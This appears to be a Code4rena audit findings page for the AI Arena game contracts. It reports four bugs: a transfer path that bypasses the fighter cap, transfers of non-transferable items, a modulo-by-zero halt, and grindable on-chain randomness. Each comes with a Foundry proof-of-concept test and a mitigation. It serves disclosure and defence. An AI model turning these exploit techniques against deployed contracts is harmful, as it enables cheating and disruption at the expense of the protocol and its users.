AI Arena - 0xaghas's results

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L533-L546

Vulnerability details

Impact

The vulnerability allows users to circumvent the MAX_FIGHTERS_ALLOWED check, enabling them to possess an unlimited number of fighters. This disrupts the balance in the game logic and violates the protocol's rules.

Proof of Concept

The _ableToTransfer function, responsible for managing users token counts and verifying transfer approval, is absent in the safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) function. Consequently, when users perform token transfers using this function, these essential checks are omitted, permitting users to transfer any number of tokens without restriction.

    function testPOC() public {
        uint8[2] memory numToMint = [9, 0];
        bytes memory claimSignature = abi.encodePacked(
            hex"407c44926b6805cf9755a88022102a9cb21cde80a210bc3ad1db2880f6ea16fa4e1363e7817d5d87e4e64ba29d59aedfb64524620e2180f41ff82ca9edf942d01c"
        );

        string[] memory claimModelHashes = new string[](9);
        for (uint16 i = 0; i < 9; i++) {
            claimModelHashes[i] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        }

        string[] memory claimModelTypes = new string[](9);
        for (uint16 i = 0; i < 9; i++) {
             claimModelTypes[i] = "original";
        }

        address alice = makeAddr("alice");
        address bob = makeAddr("bob");

        vm.startPrank(alice);
        _fighterFarmContract.claimFighters(numToMint, claimSignature, claimModelHashes, claimModelTypes);
        assertEq(_fighterFarmContract.balanceOf(alice), 9);
        assertEq(_fighterFarmContract.totalSupply(), 9);
        vm.stopPrank();

        vm.startPrank(bob);
        uint8[2] memory numToMint2 = [1, 0];
        string[] memory claimModelHashes2 = new string[](1);
        claimModelHashes[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";

        string[] memory claimModelTypes2 = new string[](1);
        claimModelTypes[0] = "original";

        _fighterFarmContract.claimFighters(numToMint2, claimSignature, claimModelHashes2, claimModelTypes2);
        assertEq(_fighterFarmContract.balanceOf(bob), 1);
        assertEq(_fighterFarmContract.totalSupply(), 10);

        bytes memory data = hex"00FF";
        _fighterFarmContract.safeTransferFrom(bob, alice, 9, data);
        assertEq(_fighterFarmContract.balanceOf(alice), 10);
        assertEq(_fighterFarmContract.balanceOf(bob), 0);
        vm.stopPrank();
    }

Important: For the sake of simplification in this proof of concept, the require(Verification.verify(msgHash, signature, _delegatedAddress)); line has been commented out to bypass signature verification and creation processes. However, this does not impact the demonstration of the vulnerability.

Tools Used

Forge

Recommended Mitigation Steps

To address this issue, implement the _ableToTransfer check within the safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) function.

Assessed type

Token-Transfer

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/GameItems.sol#L289-L303 https://github.com/OpenZeppelin/openzeppelin-contracts/blob/141c947921cc5d23ee1d247c691a8b85cabbbd5d/contracts/token/ERC1155/ERC1155.sol#L236-L261

Vulnerability details

Impact

Users can transfer non-transferable tokens using the safeBatchTransferFrom function, violating protocol logic and potentially disrupting game mechanics.

Proof of Concept

When a token is created with the transferability attribute set to false, it should not be transferable. However, the safeBatchTransferFrom function does not include a check for transferability. Therefore, any non-transferable token can be transferred using this function, bypassing the intended restrictions.

    function setUp() public {
        _ownerAddress = address(this);
        _treasuryAddress = vm.addr(1);
        _neuronContributorAddress = vm.addr(2);

        _gameItemsContract = new GameItems(_ownerAddress, _treasuryAddress);
        _neuronContract = new Neuron(_ownerAddress, _treasuryAddress, _neuronContributorAddress);

        _neuronContract.addSpender(address(_gameItemsContract));

        _gameItemsContract.instantiateNeuronContract(address(_neuronContract));
        _gameItemsContract.createGameItem("Battery", "https://ipfs.io/ipfs/", true, false, 10_000, 1 * 10 ** 18, 10);
    }


    function testPOC() public {
        // game item created as non transferable, but with safeBatchTransferFrom we can still transfer
         _fundUserWith4kNeuronByTreasury(_ownerAddress);
        _gameItemsContract.mint(0, 1);

        uint256[] memory ids = new uint256[](1);
        ids[0] = 0;
        uint256[] memory values = new uint256[](1);
        values[0] = 1;

        _gameItemsContract.safeBatchTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, ids, values, "");
        assertEq(_gameItemsContract.balanceOf(_DELEGATED_ADDRESS, 0), 1);
        assertEq(_gameItemsContract.balanceOf(_ownerAddress, 0), 0);
    }

Tools Used

Forge

Recommended Mitigation Steps

To address this issue, override the safeBatchTransferFrom function and incorporate a check for transferability. Ensure that the function verifies the transferability attribute of each token being transferred, preventing the transfer of non-transferable tokens.

Assessed type

Token-Transfer

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L110 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L458-L474

Vulnerability details

Impact

The issue could result in a critical vulnerability leading to the protocol becoming blocked. This occurs because the numElements mapping, which assigns elements by generation, is only initialized for generation 0 in the constructor. If the generation is increased beyond 0, numElements remains uninitialized for the new generations. Consequently, when calculating the base attributes for a fighter, the expression numElements[generation[fighterType]] will always yield zero for newer generations. This leads to a panic error due to attempting a modulo operation with zero, as stated in the Solidity documentation. As a result, contract execution halts, rendering the protocol non-functional.

Proof of Concept

The vulnerability can be demonstrated by incrementing the generation beyond 0 and attempting to mint new fighters. During the fighter creation process, the contract will attempt to access numElements[generation[fighterType]] to determine base attributes. For new generations, where numElements is uninitialized, this will always result in zero. Consequently, when the contract tries to perform a modulo operation with zero, a panic error occurs, causing contract execution to halt and effectively blocking the protocol.

    function testPOC() public {
        _fighterFarmContract.incrementGeneration(1);
        assertEq(_fighterFarmContract.generation(1), 1);
        assertEq(_fighterFarmContract.generation(0), 0);

        assertEq(_fighterFarmContract.numElements(1), 0); //numElements is zero
        console.log(_fighterFarmContract.numElements(1)); 
        ///console.log output is also zero
    }

Tools Used

Forge

Recommended Mitigation Steps

To address this vulnerability and prevent protocol blockage, it is imperative to ensure that the numElements mapping is properly initialized for all generations, not just generation 0. Recommended to create function for admin, to initialize it for each generation.

Assessed type

Math

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L185-L222 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L367-L391

Vulnerability details

Impact

The attacker can manipulate the generation process of fighters by controlling the input parameters msg.sender and fighters.length, potentially resulting in the creation of fighters with maximum attributes, undermining the randomness and fairness of the game.

Proof of Concept

The attacker monitors the length of the fighters array. When the array length is favorable (e.g., 33), the attacker triggers the claimFighters function, providing attacker-controlled parameters. By manipulating msg.sender and fighters.length, the attacker ensures that the base attributes of the claimed fighters are maximized, bypassing any randomness. The same issue exists in reRoll function. This leads to an unfair advantage for the attacker, as they can consistently create fighters with optimal attributes.

    function testPOC() public {    
        address alice = makeAddr("alice");

        uint256 weight;
        uint256 fightersLength;
        for(uint256 i =0; i< 1000; i++) {
            uint256 dna = uint256(keccak256(abi.encode(alice, i)));
            weight = dna % 31 + 65;
            if (weight == 95) {
                fightersLength = i;
                break;
            }
        }

        console.log(weight);        // weight is 95
        console.log(fightersLength); // length is 33
    }

In this scenario, the attacker with the address "alice" monitors the length of the fighters array. When it reaches 33, the attacker claims a fighter, ensuring it obtains the maximum weight of 95.

Tools Used

Forge

Recommended Mitigation Steps

To mitigate these issue, consider implementing off-chain trusted randomness sources like Chainlink VRF (Verifiable Random Function) to introduce genuine randomness into the generation of fighter attributes.

Assessed type

Other